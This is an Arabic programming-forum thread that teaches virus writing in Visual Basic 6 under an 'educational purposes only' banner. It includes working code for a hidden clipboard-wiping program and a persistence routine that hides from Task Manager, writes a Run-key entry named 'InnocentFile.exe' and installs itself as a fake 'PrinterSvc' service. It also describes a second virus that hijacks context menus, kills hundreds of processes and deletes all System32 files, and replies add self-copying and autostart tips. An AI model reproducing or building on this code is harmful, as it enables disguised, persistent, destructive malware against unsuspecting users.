• 0
LordCover

تعلم برمجة الفيروسات (للأغراض التعليمية فقط)

سؤال

لمحة عن الفيروسات (للأغراض التعليمية فقط!!!!)

قد يسأل بعض الأشخاص: لماذا تضع موضوعاً عن برمجة الفيروسات، هل أنت مبرمج فيروسات أو من أنصارها؟؟؟

و الجواب: عليك معرفة عدوك، فإذا عرفت كيف تتم برمجة الفيروسات تستطيع وضع مكافح لها و بالنهاية كله فائدة طالما أنه يصب ضمن اختصاصك.

لأننا مبرمجين فعلينا معرفة ماهية الفيروسات فحتى اليوم ما زالت الفيروسات تنتشر بشكل كبير و خصوصاً النوع الثاني منها(انظر أنواع الفيروسات).

الفيروسات: هي عبارة عن برامج مؤذية قد تأخذ عدة أشكال (exe, com, scr)، و مهمة هذه البرامج التخريب(و كلمة التخريب كلمة عامة و لبعض التفصيل: قد يكون التخريب حذف ملفات من على الجهاز، أو إنشاء ملفات جديدة لتعبئة القرص الصلب، تعطيل الملفات التنفيذية، الخ) و مهما كان نوع و شكل التخريب فهو مؤذ لأنه يتم بدون معرفة المستخدم.

و الفيروسات ليست برامج أضيف لها زر كتب فيه (اضغط هنا لتدمير جهازك :lol: ) بل غالباً ما يكون عملها في بداية تنفيذها(Form_Load).

بدايةً، للفيروسات عدة أنواع:

1 - الفيروس العادي: و هو يقوم بالتخريب داخل جهاز الكومبيوتر و ليس خارج حدوده أبداً.

2 - الفيروس الدودة: و هو يقوم بالتخريب أيضاً، و لكنه مزود بآليات انتشار عبر الشبكة أو الانترنت و هو أكثر أنواع الفيروسات خطراً على مخدمات الويب و مخدمات البريد الإليكتروني.

3 - الفيروس الطروادي(حصان طروادة): و جاءت تسميته من خلال طريقة عمله، حيث أنك تقوم بإرسال فيروس طروادي لأحد الأشخاص (الضحية هنا) و يقوم هذا الفيروس بفتح أحد المنافذ و من ثم تقوم باختراق الضحية من خلال المنفذ الذي تم فتحه و يحتاج التخريب في هذا الفيروس عملك المباشر المتزامن مع فتح المنفذ.

و غالباً ما يكون مع هذا النوع من الفيروسات برنامج يكون لدى المبرمج (المخترق) للتحكم بالضحية بعد فتح المنفذ.

ملاحظة: قد يتم دمج الأنواع الثلاثة معاً لزيادة التأثير و التصدي لمحاولات قمع الفيروس.

بعض الطرق التي يقوم بها مبرمجي الفيروسات للتصدي لمحاولات القمع:

1 - الانتشار: و بالتالي يصعب حذف جميع ملفات الفيروس و التي تكون نسخة طبق الأصل و لكنها أصبحت منتشرة بشكل لا يمكن مقاومته، تخيل نسخ ملف واحد فقط كل ثانية ماذا سيحصل لجهازك؟؟ و لا تنسى أن المبرمج هو الآمر الناهي هنا.

2 - إخفاء التطبيق من مدير المهام: و ذلك لمنع المستخدم من إغلاق برنامج الفيروس من خلال إدارة المهام و يتم حل هذه المشكلة من خلال برامج مشابهة لمدير المهام الخاص بالنظام و هي أفضل منه.

3 - طريقة كلب الحراسة: و هي طريقة ذكية تعتمد على وضع برنامجين من الفيروس بحيث كل منهما يختبر الثاني إن كان غير فعالاً فإن كان كذلك يقوم بتشغيله و العكس صحيح و منطقياً لا يمكن للمستخدم إنهاء البرنامجين في نفس اللحظة.

4 - التخفي و خداع المستخدم: و يتم ذلك باستبدال ملفات عادية تنفيذية من النظام بالفيروس أو تسمية الفيروس بأسماء مألوفة في النظام مثل svchost.exe.

5 - التحول و التغير: مثل فيروس الإيدز، و هي من أصعب أنواع الفيروسات (على كلاً من المبرمج(من حيث البرمجة) و المستخدم و برنامج مضاد الفيروسات (من حيث التصدي للفيروس قبل فوات الأوان فهذا النوع من الفيروسات لا يكتفي بتغيير خلفية سطح مكتبك :lol: )).

و قد يكون هناك طرق أخرى.

و هنا تطرح بعض الأسئلة نفسها: من الذي يصنع الفيروسات و ما هدفه من ذلك؟

بالنسبة للسؤال الأول: فالجواب سهل إما مبرمج أو شخص هاو للبرمجة أو شركات مضادات الفيروسات و هذه لعبة تجارية ذكية فهم يصنعون الفيروس و يضعون المضاد له

فرزق هذه الشركات يعتمد على وجود الفيروسات في الأسواق.

أما بالنسبة للسؤال الثاني:

فقد يصنعه بعض المبرمجين الذين يريدون الانتقام من شركاتهم التي قامت بطردهم من العمل و لديهم هنا نقطة قوية فهم يعرفون بيئة و طريقة عمل الشركة لأنهم كانوا أحد موظفيها.

أو قد يصنعه مبرمج لأحد الأسباب التالية:

1 - بغرض المرح فقط(المصطلح الانكليزي الشهير Just for fun).

2 - بغرض التسويق لمنتج أو لشركة أو لشخص من خلال نشر صورة مثلاً تحمل اسم الشركة التي يريد التسويق لها و هذا التسويق فريد من نوعه فهو تسويق إجباري :lol: .

3 - بغرض الشهرة (شهرة المبرمج نفسه).

4 - لإيذاء شخص بحد ذاته (و هذا ما يسميه مبرمجي الغرب بالانتقام الشخصي Personal Revenge).

و إلى الآن، أريد أخذ الإذن من المشرفين بإكمال هذه السلسلة التعليمية عن الفيروسات

ففي حال تم الموافقة سيتم وضع أكواد لفيروسات (و ليس برامج فيروسات جاهزة) من المستوى البسيط و حتى المتقدم.

فالرجاء من أحد المشرفين الرد إن كان يسمح لي بذلك. (علماً أن كل ما سيوضع الهدف منه التعليم ليس إلا، إلا إذا قام أحد الأعضاء بتجميع هذه الأكواد

و تحويلها إلى فيروس تنفيذي).

LORDCOVER

GOOD BYTE

تم تعديل بواسطه LordCover
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

46 إجابة على هذا السؤال .

  • 0

السلام عليكم ورحمة الله

تم إخفاء جميع المشاركات اللاحقة, يمكنك العودة إلى الموضوع إن أردت بإذن الله.

السلام عليكم

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

السلام عليكم

شكراً لك أخي Xacker

أعترف بضعف لغة فيجوال بيسك في هذا المجال (برمجة الفيروسات) و لكن مع ذلك

فسأحاول تغطية بعض الفيروسات (ذوات الأفكار البسيطة).

ملاحظة: سيكون في جميع فيروساتنا التعليمة الأولى في الحدث (Form_Load) هي (App.TaskVisible = False) و هذه التعليمة تقوم

بإخفاء التطبيق من إدارة المهام و هو نوع من إخفاء البرنامج عن المستخدم.(سيختفي التطبيق من تبويبة التطبيقات و لكنه سيبقى في تبويبة العمليات).

الفيروس الأول:

يقوم هذا الفيروس بتفريغ الحافظة (Clipboard) من محتواها كل زمن محدد (ليكن 1 ثانية مثلاً) و يمتاز هذا الفيروس بأنه بسيط و مع ذلك

فهو مرح و لا يؤذ كثيراً.

لنفرض أن المستخدم (الضحية هنا) أراد نسخ شيء ما (سواء كان ملفات أو نصوص) فالفيروس مستعد بشكل دائم لمسح ما وضعه المستخدم في

الحافظة، فعندما يضغط المستخدم على الخيار نسخ (Copy) و يذهب للمجلد الذي يريد اللصق به فيتفاجأ بأن الخيار لصق (Paste) غير فعال

و هنا يكمن عمل الفيروس.(و يكاد المستخدم هنا أن يصاب بالجنون :lol: ).

بالنسبة لبرمجته فهو سهل و بسيط جداً، فكل ما يحتويه هو مؤقت زمني (Timer control) فقط.

و أظن أن الكود واضح و لا يحتاج للشرح.

Private Sub Form_Load()
'to hide the app from
'task manager
App.TaskVisible = False

'to hide the form itself
Me.Visible = False

'Set the interval
'to the value you want
Timer1.Interval = 1000

'1000 milli-second = 1 sec

'enable the timer
Timer1.Enabled = True
End sub

Private Sub timer1_Timer()
'Clear the contents
'of the clip board
Clipboard.Clear
End Sub

بالنسبة للحدث (Timer1_Timer) فالتعليمة (Clipborad.Clear) هي التي تقوم بتفريع محتويات الحافظة.

و سنكتفي اليوم بهذا الفيروس و سنكمل فيما بعد إن شاء الله بفيروسات ذات مستوى أعلى.

أتمنى أن أكون قد وفقت في الشرح و أي استفسارات أنا جاهز للإجابة أو المناقشة.

LORDCOVER

GOOD BYTE

تم تعديل بواسطه LordCover
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

السلام عليكم ورحمة الله وبركاته

مشكووور اخي على الدرس الاول انا شفته من قبل في فيديو

اخي انا اقول التايمر : interval = 10 افضل بكثير

نسيت اقولك اخي :

هل نسيت بانك اذا سويت فايرس يمحو clipboard عندما يعمل المستخدم رستارت او يغلق الجهاز ستحل المشكلة اما اذا جعلته ينسخ نفسه قبل ان يحذفه المستخدم و يشغل نفسه عند تشغيل الوندوز :)

اقتراحات بسيطة لكن تؤثر في الفايرس اخي :)

تم تعديل بواسطه مبرمج مبتدا
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

الفيروسات مش بحاجة لأى Form و دى حاجة الـ VB بيوفرها.

أفتح مشروع جديد , أعمل Remove للـ Form و حط Module , الـ VB لوحده هيحول الـ Start up object لـ Sub Main

بكده البرنامج هيبدأ تنفيذه من Sub يكون أسمه Main.

من الممكن أنشاء Timer بالـ APIs لكنها طريقة مش تمام فى حالة الـ Clipboard virus :unsure: الأفضل عمل Clipboard Hook بالـ APIs و كل ما الـ Clipboard هتتحط فيها حاجة هنعرف بالـ Hook فنفضيها.

و بالتالى البرنامج هيكون صغير جدا ( لا يحتوى على أى Form ) , خفيف جدا ( لا يحتوى على تايمر , و يقوم بعمله وقت الحاجة فقط ! ).

SetClipboardViewer

1

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

بسم الله

هل نسيت بانك اذا سويت فايرس يمحو clipboard عندما يعمل المستخدم رستارت او يغلق الجهاز ستحل المشكلة اما اذا جعلته ينسخ نفسه قبل ان يحذفه المستخدم و يشغل نفسه عند تشغيل الوندوز

مش بقولك انت حبيبي :lol:

اكيد كلامك صحيح وكمان انه يحط نفسه مع بدء التشغيل علشان تبقى كملت

بس اعتقد ان الاخ LordCover مستني لما نخش على التقيل ويحط الحاجات دي كلها

ربنا يوفقك يا اخ LordCover

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

عندي حل

خلوا الفايرس ينسخ نفسه في الريجستري مع البرامج التي تعمل تلقائيا

ومعب ذلك الكود اذا اردتموه

وتجعه الفورم لود يختفي اول مايشتغل

هكذا يعمل الفايرس 100%

وممكن تخلوا الفايرس ينسخ نفسه في مكان تاني بحيث لو المستخدم حذفة يرجع تاني من النسخة الاحطياطية

وده يكون فايرس كامل 100%

تم تعديل بواسطه hamata
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

بصراحة انا لا اعرف ان اجعل البرنامج شغال مع تشغيل الوندوز

اذا اردنا ان نجعله مع تشغيل الوندوز يجب ان نجعله عن طريق الREG لان START UP يمحوه المستخدم وخلاص

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

يعني فكرتي مظبوطة

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

السلام عليكم

نعم إخوتي كل ما ذكرتم صحيح، و لكنني كنت أشرح مجرد فكرة فمن الطبيعي وضع الفيروس في بدء التشغيل و هذا سهل باستخدام الريجستري.

و من الطبيعي أيضاً أن يقوم الفيروس بنسخ نفسه بغض النظر عن طريقة تشغيله عندها.

الأخ msayed2004: شكراً جزيلاً لك على هذه المعلومات القيمة.

و إلى اللقاء إلى الدرس الثاني.

و سامحوني إن تأخرت قليلاً فأنا مشغول بعض الشيء.

جزاكم الله خيراً و شكراً لإعطاء موضوعي قسطاً من وقتكم الثمين.

LORDCOVER

GOOD BYTE

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

شرح جميل اخ lordCover والفيروس الذى وضعته من غير Source code ساضعه الان بالكود

لكن لا اريد اى استهزاء فهذا من اوائل المشروعات التى عملتها فى تعلم البرمجة ولو عاوزين فيروس دلوقتى اعملهملكم بس لن اضع السورس كود حتى يجربه خمسة منكم فى اجهزتكم :lol:

اما بخصوص مراقبة ال ClipBoard كما قال محمد مراقبة رسائل النظام

وهذا هو الثابت الخاص برسالة النظام عند تغيير محتويات ال ClipBoard

 

Public Const WM_DRAWCLIPBOARD = &H308

n.rar

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

اخي حريف البرمجة

انا مبتدا جدا في دوال API

هل فهمي صحيح بالنسسبة ل :

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

PUBLIC : كلمة عامة تستعملها في كل مكان في البرنامج للاعلان

DECLARE : لم اعرفها :D

COPYFILE : اسم الدالة

LIB : لاستدعاء مكتبات الوندوز

KERNEL32 : مكتبة وندوز تستعمل لنظام تشغيل البرامج والذاكرة

ALIES : لم اعرفها :D

وبعد ذلك

(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

lpExistingFileName : هي لاسم البرنامج بعد عملية الكوبي

lpNewFileName : مكان البرنامج (المسار)

bFailIfExists : هذا لم افهمه

رايت في الكود مكانه 1 لكن لم افهم

اتمنى تشرحوا البقايا او اذا فيه خطا تصححوه

_____________________________

اخي LORD ننتظر الدرس الثاني

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0
اخي حريف البرمجة

انا مبتدا جدا في دوال API

هل فهمي صحيح بالنسسبة ل :

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

PUBLIC : كلمة عامة تستعملها في كل مكان في البرنامج للاعلان

DECLARE : لم اعرفها :D

COPYFILE : اسم الدالة

LIB : لاستدعاء مكتبات الوندوز

KERNEL32 : مكتبة وندوز تستعمل لنظام تشغيل البرامج والذاكرة

ALIES : لم اعرفها :D

وبعد ذلك

(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

lpExistingFileName : هي لاسم البرنامج بعد عملية الكوبي

lpNewFileName : مكان البرنامج (المسار)

bFailIfExists : هذا لم افهمه

رايت في الكود مكانه 1 لكن لم افهم

اتمنى تشرحوا البقايا او اذا فيه خطا تصححوه

_____________________________

اخي LORD ننتظر الدرس الثاني

Public Declare تصريح عام كي تستخدم الوظيفة من أي مكان في برنامجك.

CopyFile اسم الوظيفة كما تريد أنت طلبها

"CopyFile" اسم الوظيفة كما هي موجودة في مكتبة "kernel32.dll"

بالتالي Alias هو الاسم المعروفة به الوظيفة ضمن هذه المكتبة بالإضافة إلى الوظائف الأخرى.

bFailIfExists [in] If this parameter is TRUE and the new file specified by lpNewFileName already exists, the function fails. If this parameter is FALSE and the new file already exists, the function overwrites the existing file and succeeds.

لو كان الملف موجود فلن يتم تنفيذ الوظيفة لو كانت القيمة TRUE أي (1) والعكس صحيح.

السلام عليكم

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

مشكوووور اخي xacker على المساعدة

لدي اسالة بسيطة :

اذا اردت استخدام Public هل يجب ان استخدم declare ?? بالطبع لا اذا متى استخدمه ؟؟

متى استخدم public ومتى private ??

ايضا :

بالتالي Alias هو الاسم المعروفة به الوظيفة ضمن هذه المكتبة بالإضافة إلى الوظائف الأخرى.

كيف اعرف الوظائف الاخرى ؟؟

اخيرا :

لو كان الملف موجود فلن يتم تنفيذ الوظيفة لو كانت القيمة TRUE أي (1) والعكس صحيح.

لم افهم هذه الجملة

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0
اذا اردت استخدام Public هل يجب ان استخدم declare ?? بالطبع لا اذا متى استخدمه ؟؟

متى استخدم public ومتى private ??

لست مبرمج فيجوال, لكن حسب معلوماتي يجب استخدام declare دائما عند التصريح عن استخدام دوال.

public عندما تريد استخدام ما صرحت عنه من أي مكان في برنامج

private يمكن فقط طلب ما صرحت عنه من نفس ال module, اتصور في نفس الفورم فقط.

كيف اعرف الوظائف الاخرى ؟؟

كثير من الطرق, lordpe تستخدمه في معرفة الدوال الموجودة في الـ Exports لكل مكتبة.

Olly وتقوم بتحميل المكتبة وتستعرض الـ intermodular calls

هناك تطبيقات صغيرة أسهل من كل هذا, تجد أحدها في المرفق

وتطبيق آخر مساعد.

لم افهم هذه الجملة

يعني لا يتم نسخ الملف واستبدال القديم بالجديد.

dllexp.zip

windows_1256__ApiGen.zip

تم تعديل بواسطه Xacker
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

الموضوع تحول شوية لكن ده فى مصلحته لأن الـ APIs ضرورية ليه.

الـ Scope ( أعتقد تترجم الى مجال الرؤية ) هو تحديد أمكانية رؤية الوظيفة بكل المشروع أم بجزء منه.

أذا لم نحدد مجالا للوظائف فالـ VB هيعين لها المجال الأفتراضى الخاص بنوع الـ Code module فأن كانت فى Module هتكون Public بطبيعتها أما فى Form فالمفروض أنها تكون Private

أنا عن نفسى أفضل ان أكون واضح فى كتابة أى كود بتحديد كل شئ فيه , فلو شايف أنى عايزه Public أكتبها مش هتخصرنى حاجة و هكون ضامن للنتائج.

Declare ضرورية فى حالة الأعلان عن أستخدام API

كيف اعرف الوظائف الاخرى ؟؟
كما وضح الأخ Xacker و أضيف عليه برنامج الـ Dependency Walker اللى موجود مع الـ Visual Studio

لكن مع الأسف مصادر صيغ الـ APIs لأستعمالها بالـ VB6 قليلة , عموما أفضلهم AllAPI و البرنامجين بتوعهم : الـ API viewer و الـ API Guide

لو كان الملف موجود فلن يتم تنفيذ الوظيفة لو كانت القيمة TRUE أي (1) والعكس صحيح.

لم افهم هذه الجملة

الـ APIs أيضا تقسم Subs و Functions و الفرق بينهم كالعادة هو أن الـ Function return a value

لو راجعت شرح أى API Function على الـ MSDN هتلاقى جزء من الشرح تحت عنوان Retuen Values , مثال :

LEFT TO RIGHT
If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

معناها أن القيمة اللى بترجع من الوظيفة لو Zero يبقى الوظيفة فشلت , غير كده نجحت , و للمزيد من المعلومات عن الخطأ ( فى حالة الفشل ) أستخدم وظيفة GetLastError .

فى وظائف نتائجها أعقد شوية , مثال :

LEFT TO RIGHT
If the function succeeds, the return value is the instance handle of the application that was run, or the handle of a dynamic data exchange (DDE) server application.

If the function fails, the return value is an error value that is less than or equal to 32. The following table lists these error values:

0

The operating system is out of memory or resources.

ERROR_FILE_NOT_FOUND

The specified file was not found.

ERROR_PATH_NOT_FOUND

The specified path was not found.

ERROR_BAD_FORMAT

The .EXE file is invalid (non-Win32 .EXE or error in .EXE image).

SE_ERR_ACCESSDENIED

The operating system denied access to the specified file.

SE_ERR_ASSOCINCOMPLETE

The filename association is incomplete or invalid.

SE_ERR_DDEBUSY

The DDE transaction could not be completed because other DDE transactions were being processed.

SE_ERR_DDEFAIL

The DDE transaction failed.

SE_ERR_DDETIMEOUT

The DDE transaction could not be completed because the request timed out.

SE_ERR_DLLNOTFOUND

The specified dynamic-link library was not found.

SE_ERR_FNF

The specified file was not found.

SE_ERR_NOASSOC

There is no application associated with the given filename extension.

SE_ERR_OOM

There was not enough memory to complete the operation.

SE_ERR_PNF

The specified path was not found.

SE_ERR_SHARE

A sharing violation occurred.

-----------------------------------------------

بالمناسبة محدش عنده كتاب : Microsoft Win32 Programmer Reference و حسنة قليلة تمنع ................. :lol: :P

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

بالنسبة للكتاب مش معايا

اما اسئلة الاخ مبرمج مبتدا

انا عاوز اقولك نصيحة انا ال Virus الى انت شايفه ده كان تقريبا خامس برنامج اكتبه بالفى بى والدالة بتاعة CopyFile جبتها من برنامج ApiTextViewer بدون مساعدة من اى احد

طبعا بالنسبة لواحد مثلى فى ذلك الوقت كانت انجاز وجربرتها لحد ما نجحت العملية

ارجوا انك تجرب والفشل بيبقى طريق النجاح دائما لكن لو المعلومة جتلك من واحد بدون ما تجرب مش هتفهم كتير

اما فى التجربة تكتسب خبرة

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

السلام عليكم

قبل أن نبدأ بالفيروس الثاني سأضع بعض الأكواد التي تقوي موقف الفيروس.

سنضع في البداية ما يسمى بـ(Mutex) لتمنع تشغيل البرنامج أكثر من مرة فقد وضعت واحدة في الكود(1).

حيث سأشرح كيف نعرف إن كان برنامجنا قد اشتغل من قبل على حاسب معين (من خلال وضع قيمة

في الريجستري)(2) و أنا لا أقصد هنا (PrevInstance) بل لنعرف هل برنامجنا اشتغل من قبل على

هذا الحاسب أم لا.

و سأشرح أيضاً كيف نضع الفيروس في (Registry) لكي يشتغل مع بدء تشغيل النظام(3).

و سأشرح كيف نجعل الفيروس خدمة من خدمات النظام(4).

هذه الأرقام لتتبعها في الكود.

و سنبدأ بالشرح باللغة العربية و الكود مزود بتعليقات باللغة الانكليزية:

1 - App.PrevInstance نستطيع أن نقول أنه متحول تكون قيمته (True) عندما يكون

البرنامج شغال و العكس صحيح.

و معنى (PrevInstance) هو (Previous Instance of our program) كائن سابق من البرنامج.

و أظن أن الكود واضح لا يحتاج إلى شرح.

2 - يقوم التابع (GetSetting) بإحضار قيمة من الريجتسري و هو خاص بلغة فجوال بيسك 6

و إن لم يكن المفتاح (Key) موجوداً فإنه يعيد قيمة صفر.

و عند تنفيذ سطر التابع (GetSetting) لأول مرة فمن الطبيعي عدم وجود ذلك المفتاح (W1)

لأننا نحن من ننشىء هذه القيمة داخل تعليمة If.

إذاً عند التنفيذ لأول مرة سيتم الدخول لمحتوى تعليمة If لمرة واحدة فقط و هناك أنت تعرف أن

هذا الكود لن ينفذ سوى مرة واحدة فإياك أن تضع الكود التنفيذي (التخريبي) للفيروس داخل هذه

التعليمة بل ضع به تعليمات لمرة واحدة مثل وضع البرنامج في بدء التشغيل أو كخدمة من خدمات

النظام.

ملاحظة: لن يحدث شيء إذا وضعت البرنامج في الريجستري (Startup) عند كل تشغيل

للبرنامج و لكننا نتأكد فيما إذا كان المستخدم قد شغل البرنامج من قبل للحفاظ على

منطقية البرنامج.

بعد تنفيذ التابع (SaveSetting) الذهاب إلى الريجستري إلى المفتاح التالي:

HKey_Current_User\Software\VB And VBA Program Settings\My Virus\Settings\W1

و التحقق من قيمته (يجب أن تكون 1).

3 - نقوم هنا باستدعاء التابع (RegWrite) و الذي نرسل له اسم المفتاح و قيمته

و نقوم بوضع البرنامج في المكان المخصص في الريجستري (يوجد أكثر من مكان و لكن اخترت أحدها).

و عند التشغيل التالي للحاسب سيتم تشغيل البرنامج مع برامج بدء التشغيل.

4 - نقوم هنا بالحصول على اسم المستخدم و نختبر نجاح العملية (عملية الحصول على الاسم)

و في حال نجاحها نقوم بعدها بحذف الفراغات المتبقية في اسم المستخدم.

و نختبر بعدها إذا كان المستخدم هو ليس النظام (SYSTEM) - بصراحة فهمت هذه الخطوة

و لكنني لم أعرف لماذا تم وضعها فأنا اقتبستها من موضوع المهندس أسامة حول خدمات النظام -

نقوم باستدعاء Shell و الذي سيقوم بدوره بتشغيل البرنامج (SRVStart.exe) و نرسل له

في (Command Line) اسم الخدمة و مكانها على القرص الصلب (Directory).

ملاحظة: سأضع موضوعاً تعليمياً حول (Command Line) في فجوال بيسك 6 قريباً.

و سيشتغل هذا البرنامج (SRVStart.exe) و يقوم بإضافة برنامج الفيروس إلى قائمة خدمات النظام

و من ثم سيقوم بإغلاق نفسه.

و وضعت اسم الخدمة (PrinterSvc) لوهم المستخدم و جعله يظن أنها خدمة خاصة بالطابعة

و يمكنك وضع أي اسم آخر بحيث يكون أحد المكونات المهمة في الجهاز (سطح المكتب - الشبكة -

USB).

و كما تخبرك تعليقات الكود فإنه بإمكانك إنهاء البرنامج باستخدام تعليمة (End) ففي

حال قمت بجعل البرنامج كخدمة فإنه سيشتغل فوراً أما إذا وضعته في بدء التشغيل

فسيشتغل عند بدء التشغيل التالي و يجب أن نلاحظ أن هذه التعليمة (End) لن تنفذ سوى

مرة واحدة فقط و هي عند تشغيل البرنامج لأول مرة.

ملاحظة: خدمات النظام تبدأ بعد عملية اختيار نظام التشغيل(في حال كانوا أكثر من واحد) و

قبل عملية (User Logging in) أي يمكنك من خلالها بدء تنفيذ برنامجك

قبل دخول المستخدم إلى سطح مكتبه!!!.

ملاحظة: يمكنك إما وضع برنامج الفيروس كخدمة من خدمات النظام أو جعل البرنامج

يعمل عند بدء تشغيل الحاسب و لا تضع الطريقتين معاً فواحدة منهما تكفي

و لمزيد من المعلومات عن خدمات النظام يمكنك مراجعة موضوع الأخ المهندس أسامة

ابحث عن (System Service) في المنتدى.

ملاحظة: (SRVStart.exe) هو برنامج مهمته وضع البرامج مع خدمات النظام و يجب أن

يكون في نفس مسار البرنامج أو في مجلد (Windows).

و يفضل وضعه في مجلد ويندوز كي لا تقوم بنسخه مع كل برنامج.

ملاحظة: يمكنك معرفة مسار الويندوز من خلال الكود التالي:

Dim WinPath as string

WinPath = Environ$("WinDir") 'WinPath = Windows Path

و لن تقوم بنسخ هذا الملف(SRVStart.exe) إلى مجلد الويندوز بل عند تكوين طرد التنصيب

ستخبر برنامج التنصيب أن يقوم بوضعه هناك.

ملاحظة: يمكنك الحصول على شرح للتوابع (SaveSetting) و (GetSetting) من مكتبة MSDN2000.


'11111111111111111111111111
'a mutex for checking if there is any running instance
'of our virus right now
If App.PrevInstance Then
End
End If

'22222222222222222222222222
'checking if our program ran before
Dim first
first = GetSetting("My Virus", "Settings", "W1", 0)

If Not first Then
SaveSetting "My Virus", "Settings", "W1", 1

'3333333333333333333333333333333
'put our program in registry startup
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\InnocentFile.exe", App.Path & "\MyVirus.exe"

'4444444444444444444444444444444
'set my virus as a system service

Dim Buffer As String

Buffer = Space$(32)
If GetUserName(Buffer, 31) > 0 Then
Buffer = Trim(Replace(Buffer, Chr(0), ""))

If Buffer <> "SYSTEM" Then
Dim szFilename As String
szFilename = Space$(260)

Dim AppPath As String
AppPath = App.Path & "\MyVirus.exe"
Call Shell("SRVStart.exe /Name:" & "PrinterSvc" & " /App:" & Chr$(34) & AppPath & Chr$(34), vbHide)
End If
End If

'you can end the program now if you want, because it will automatically run in the next startup
'and the execution is never will get here again until a smart user (who is trying
'to encounter or debug your virus deleted your value from the registry).
End
End If

'REMEMBER: either put the program in startup or
'set it as a system service but NOT both.


Private Sub RegWrite(ByVal Key1 As String, ByVal Value1 As String)
Dim wsh
Set wsh = CreateObject("Scripting.Shell")
wsh.RegWrite Key1, Value1
End Sub

الفيروس الثاني:

يقوم هذا الفيروس بغزو القوائم اليمينية لبعض الملفات مثل (exe, scr, bmp) و يضع خيار

لتشغيل الفيروس في تلك القائمة (عند الضغط بزر الفأرة اليميني على أحد الملفات).

و في حال قام المستخدم بتشغيل الفيروس من ملف تنفيذي (exe) فسيقوم الفيروس بتشغيل

ذلك الملف التنفيذي و يقوم بفحص 420 اسم برنامج و في حال كان أحدها شغالاً سيقوم بإغلاقه.

و في حال قام المستخدم بتشغيل الفيروس من ملف صورة (gif, bmp, jpeg) - كما يمكنك

ضم باقي لواحق الصور أيضاً - فإن البرنامج سيستدعي التابع (DestroySys) و الذي سيقوم بتدمير

النظام من خلال حذف جميع ملفات المجلدين(System32, System).

و في حال قام المستخدم بتشغيل الفيروس من ملف آخر مثل (scr, html, dll) فإن

الفيروس سيعرض له رسالة (عفواً، لا يمكنك تشغيل هذا الملف).

Scripting.FileSystemObject: هو عبارة عن غرض نستطيع استخدامه للحصول على بعض التوابع

المساعدة في التعامل مع السواقات و المجلدات و الملفات.

Scripting.Shell: هو عبارة عن غرض نستطيع من خلاله التعامل مع الريجستري و تشغيل ملف تنفيذي

و عدة أمور أخرى.

GetSpecialFolder: هو وظيفة (Method) تابعة للغرض (FileSystemObject) و هو يأخذ وسيط عبارة

عن رقم.

و في حال أرسلنا له الرقم 0 فيرد لنا المسار الكامل لمجلد (Windows).

1 : مجلد (System32).

2: مجلد (Temp).

ملاحظة: يقال أن وجود هذا التابع في كود برنامج ما يمكن أن يشكك أحد مضادات الفيروسات

و يقوم بالاشتباه حول فيروسك.

FileExists: هو وظيفة (Method) تابعة للغرض (FileSystemObject) و هو يأخذ وسيط وحيد عبارة عن

جملة محرفية، نرسل فيها مسار ملف ما و إن كان الملف موجود يعيد لنا قيمة (True) و العكس صحيح.

ملاحظة: يمكنك استخدام الوظيفة المشابهة لها و الخاصة بالمجلدات (FolderExists).

شرح نواحي أخرى من الفيروس: عندما يقوم المستخدم بالضغط بالزر اليميني للفأرة على أحد

الملفات و يختار برنامجنا فإنه يقوم بإرسال التعليمة التالية إلى Shell الخاص بالنظام:

pic.exe "the path of the file he pressed at" which means a command line

command line: هو عبارة عن سطر أوامر نقوم بتزويد الملف التنفيذي به فأنت عندما تقوم

بفتح الملف (C:\1.txt) من خلال الضغط عليه مرتين بالفأرة أو ضغط (Open) من القائمة اليمينية

فأنت ترسل التعليمة التالية إلى Shell:

Notepad.exe "C:\1.txt"

ف ("C:\1.txt") هي سطر الأوامر هنا و ينطبق هذا الكلام على برنامجنا فعندما يضغط المستخدم

على أحد الملفات و يختار برنامجنا من القائمة اليمينية فهو يرسل لنا اسم الملف (مع اللاحقة طبعاً)

على شكل سطر أوامر لبرنامجنا و من هنا نقوم نحن بمعرفة نوع الملف الذي تم فتح برنامجنا منه.

و عندما يفتح برنامجنا من ملفه التنفيذي نفسه فإن سطر الأوامر يكون فارغاً.

ملاحظة: زودنا التابع (lch) بتعليمة (On Error Resume Next) لكي لا يعطي خطأ (في حال فشل

في إغلاق أحد البرامج لسبب ما) و يتم إغلاق برنامجنا بشكل قسري.

ملاحظة: زودنا التابع (DestroySys) بنفس التعليمة السابقة لنفس السبب (في حال فشل في

حذف أحد الملفات لسبب ما قد يكون أن هذا الملف مشغول من قبل النظام و لا يمكن حذفه).

